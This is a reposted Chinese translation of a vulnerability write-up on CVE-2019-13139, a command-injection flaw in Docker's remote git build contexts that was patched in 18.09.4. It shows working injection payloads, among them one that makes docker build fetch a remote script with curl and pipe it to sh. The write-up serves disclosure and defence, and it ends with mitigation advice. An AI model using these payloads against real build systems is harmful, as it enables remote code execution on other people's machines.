专栏首页洛米唯熊Docker构建代码执行漏洞

Docker构建代码执行漏洞

0x00:前言

在今年早些时候,Etienne Stalmans在检查了构建系统以及git如何导致安全问题中,在Docker发现了一个与git相关的漏洞。此漏洞已被分配为CVE-2019-13139,并在Docker引擎更新18.09.4中进行了修补。

问题是相对直接的命令注入,然而,它可能使它更有趣的是它发生在Go代码库中。通常假设Go os/exec包没有遭受命令注入,这很大程度上是正确的,但就像其他“安全”命令执行API(如Python的子进程)一样,有边缘情况 - 看似安全的代码仍然可以导致命令注射。 0x01:漏洞 发现漏洞非常容易。想看看哪些流行工具依赖(或外包)git并且容易受到CVE-2018-11235的攻击。Docker构建提供了提供远程URL作为构建路径/上下文的选项,并且此远程可以是git存储库。在查看文档时我注意到的第一件事是

注意:如果URL参数包含片段,则系统将使用git clone --recursive命令以递归方式克隆存储库及其子模块。

这清楚地表明Docker很容易受到CVE-2018-11235的攻击,我在这里也证明了这一点:

目前视频中的链接已经被作者关闭)

突出的第二件事是,有多个选项可用于提供远程git存储库的URL。并且可以提供要使用的分支目录

$ docker build https://github.com/docker/rootfs.git#container:docker
$ docker build git@github.com:docker/rootfs.git#container:docker
$ docker build git://github.com/docker/rootfs.git#container:docker

在此示例中,所有URL都引用GitHub上的远程存储库,并使用容器分支和docker目录作为构建上下文。这让我想知道这个机制背后的代码,我看了一下源代码。 查看下面的代码,首先发生的事情是解析remoteURL并将其转换为gitRepo结构,然后提取fetch参数。以root身份创建临时目录,在此临时目录中创建新的git存储库,并设置存储库的远程。远程被“获取”,存储库被检出,最后子模块被初始化。

此时没有明显的问题。这些git命令都是通过该gitWithinDir功能执行的。看看这个,事情开始变得更有趣了:

该exec.Command()函数采用硬编码的“二进制”,"git"作为第一个参数,其余参数可以是零个或多个字符串。这不会直接导致命令执行,因为参数都是“转义”的,并且shell注入在os / exec包中不起作用。 没有受到保护的是正在执行的命令中的命令注入exec.Command()。如果传递给git二进制文件的一个或多个参数在git中用作子命令,则可能仍然存在命令执行的可能性。这正是@joernchen在CVE-2018-17456中利用的地方,他在Git子模块中通过注入一个路径获得命令执行-u./payload,其中-u告诉git哪个二进制文件用于upload-pack命令。如果可以将类似的有效负载传递给Docker构建命令,则可能只能执行命令。 回到解析Docker源代码,在查看parseRemoteURL函数时可以看出提供的URL是根据URI分割的

而repo.ref和repo.subdir很容易被我们控制。该getRefAndSubdir函数使用:作为分隔符将提供的字符串拆分为两部分。然后将这些值传递给fetchArgs函数;

你能发现这个问题吗?该ref字符串将附加到fetch命令的args列表中,而不进行任何验证以确保它是有效的refspec。这意味着如果一个ref诸如-u./payload可供给它随后将被传递到git fetch命令作为参数。 最后git fetch通过执行命令

0x02:利用

从上面可知,ref需要用于注入最终git fetch命令。将ref来自#container:docker用于提供分支和文件夹使用的泊坞上下文字符串。由于使用的strings.splitN()函数分裂在和:之间的任何东西将被用作。另一个好消息是,因为os / exec包将每个字符串视为要传递的参数,如果提供的字符串包含空格,则将其视为引用它。因此将导致执行最终命令。不是很有帮助,但是在成为漏洞的一半。

#:refexecv#echo 1:twogit fetch origin "echo 1"

下一部分是识别一个或多个在传入时被视为子命令的参数git fetch。为此,需要检查git-fetch文档:https://git-scm.com/docs/git-fetch。事实证明,有一个--upload-pack理想的选择:--upload-pack <upload-pack> 当给定,并且要获取的存储库由git fetch-pack处理时,--exec=<upload-pack>将传递给命令以指定在另一端运行的命令的非默认路径。 唯一的缺点是它用于“在另一端运行命令”,因此在服务器端。当git URL为http://或https://时,也会忽略此项。幸运的是,Docker构建命令还允许在表单中提供git URL git@。在git@通常被视为用户使用git通过SSH克隆,但前提是所提供的URL包含:,更简洁:git@remote.server.name:owner/repo.git。当:不存在时,git将URL解析为本地路径。由于它是一个本地路径,所提供的--upload-pack最终将被用作执行的二进制文件git fetch-pack。 因此,所有星星都是对齐的,并且可以构造导致命令执行的URL。

docker build "git@g.com/a/b#--upload-pack=sleep 30;:"

这将导致执行以下步骤:

$ git init
$ git remote add git@g.com/a/b
$ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"

请注意,远程已附加到--upload-pack命令中,因此;需要使用分号()来关闭命令,否则git@g.com/a/b将被解析为sleep命令的第二个参数。如果没有分号,您可以看到“睡眠:无效时间间隔'git@gcom/a/b.git'”:

$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"
unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’
Try 'sleep --help' for more information.

这可以进一步采用并转换为正确的命令执行(在第二个中添加#清除输出以便curl命令不显示):

docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"

命令执行

0x03:预防

这可能是构建环境中的“远程”命令执行问题,攻击者可以控制发出的构建路径docker build。通常的docker build . -t my-container模式不容易受此影响,Docker的大多数用户不应受此问题的影响。 这是在2月份向Docker报告的,并且在3月底的18.09.4更新中部署了一个补丁。确保您的Docker引擎是最新的,如果可能,请避免使用远程上下文进行构建,尤其是在第三方提供的情况下。

文章翻译至:

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

想了解更多 欢迎关注

本文分享自微信公众号 - 洛米唯熊(luomiweixiong),作者:Etienne Stalmans

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-07-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 给sqlmap装上chunk transfer的辅助

    Transfer-Encoding: chunked 表示输出的内容长度不能确定,普通的静态页面、图片之类的基本上都用不到这个。

    洛米唯熊
  • [漏洞预警]Think-CMF模板存在文件包含漏洞

    是一款支持Swoole的开源内容管理框架(CMF),基于ThinkPHP开发。

    洛米唯熊
  • Teamviewer疑似遭遇APT组织攻击

    TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制的应用程序,桌面共享和文件传输的简单且快速的解决方案。为了连接到另一台计算机,只需...

    洛米唯熊
  • Git 工作流的正确打开方式

    前言 一直在使用git做版本控制,也一直工作很顺利,直到和别人发生冲突的时候。这才注意到git 工作流并不是那么简单。比如,之前遇到的清理历史。百度到的资料很...

    Ryan-Miao
  • 记录我开始学习 Git的路程

    工作半年多了,总觉得没学到什么东西,于是乎找了个Git学习一下,感觉还蛮厉害的样子。为此记录下我的路程 2015,11,26 更新   前面的路都挺艰难的,在官...

    xcywt
  • git init 和 git init –bare 的区别

    使用命令"git init --bare"(bare汉语意思是:裸,裸的)初始化的版本库(暂且称为bare repository)只会生成一类文件:用于记录版本...

    joshua317
  • Git常用操作指南(附图文)

    版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/sinat_35512245/articl...

    大黄大黄大黄
  • git使用教程2-更新github上代码

    前言 前面一篇已经实现首次上传代码到github了,迈出了装逼第一步,本篇继续讲如何把本地更新的代码同步更新到github上 一、clone代码 1.把大神的代...

    上海-悠悠
  • VirtualBox中CentOS配置git服务器

    在管理自己的代码的时候,我一直使用github。有的时候,私有项目不想公开,如果还要放到GitHub上,那就必须要花钱。解决这个问题的方法其实也很简单:在自己电...

    GitOPEN
  • Git是啥?能吃吗?

    Git 是一个开源的分布式版本控制系统,是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件,可以有效、高速地...

    佛系编程人

扫码关注云+社区

领取腾讯云代金券

玩转腾讯云 有奖征文活动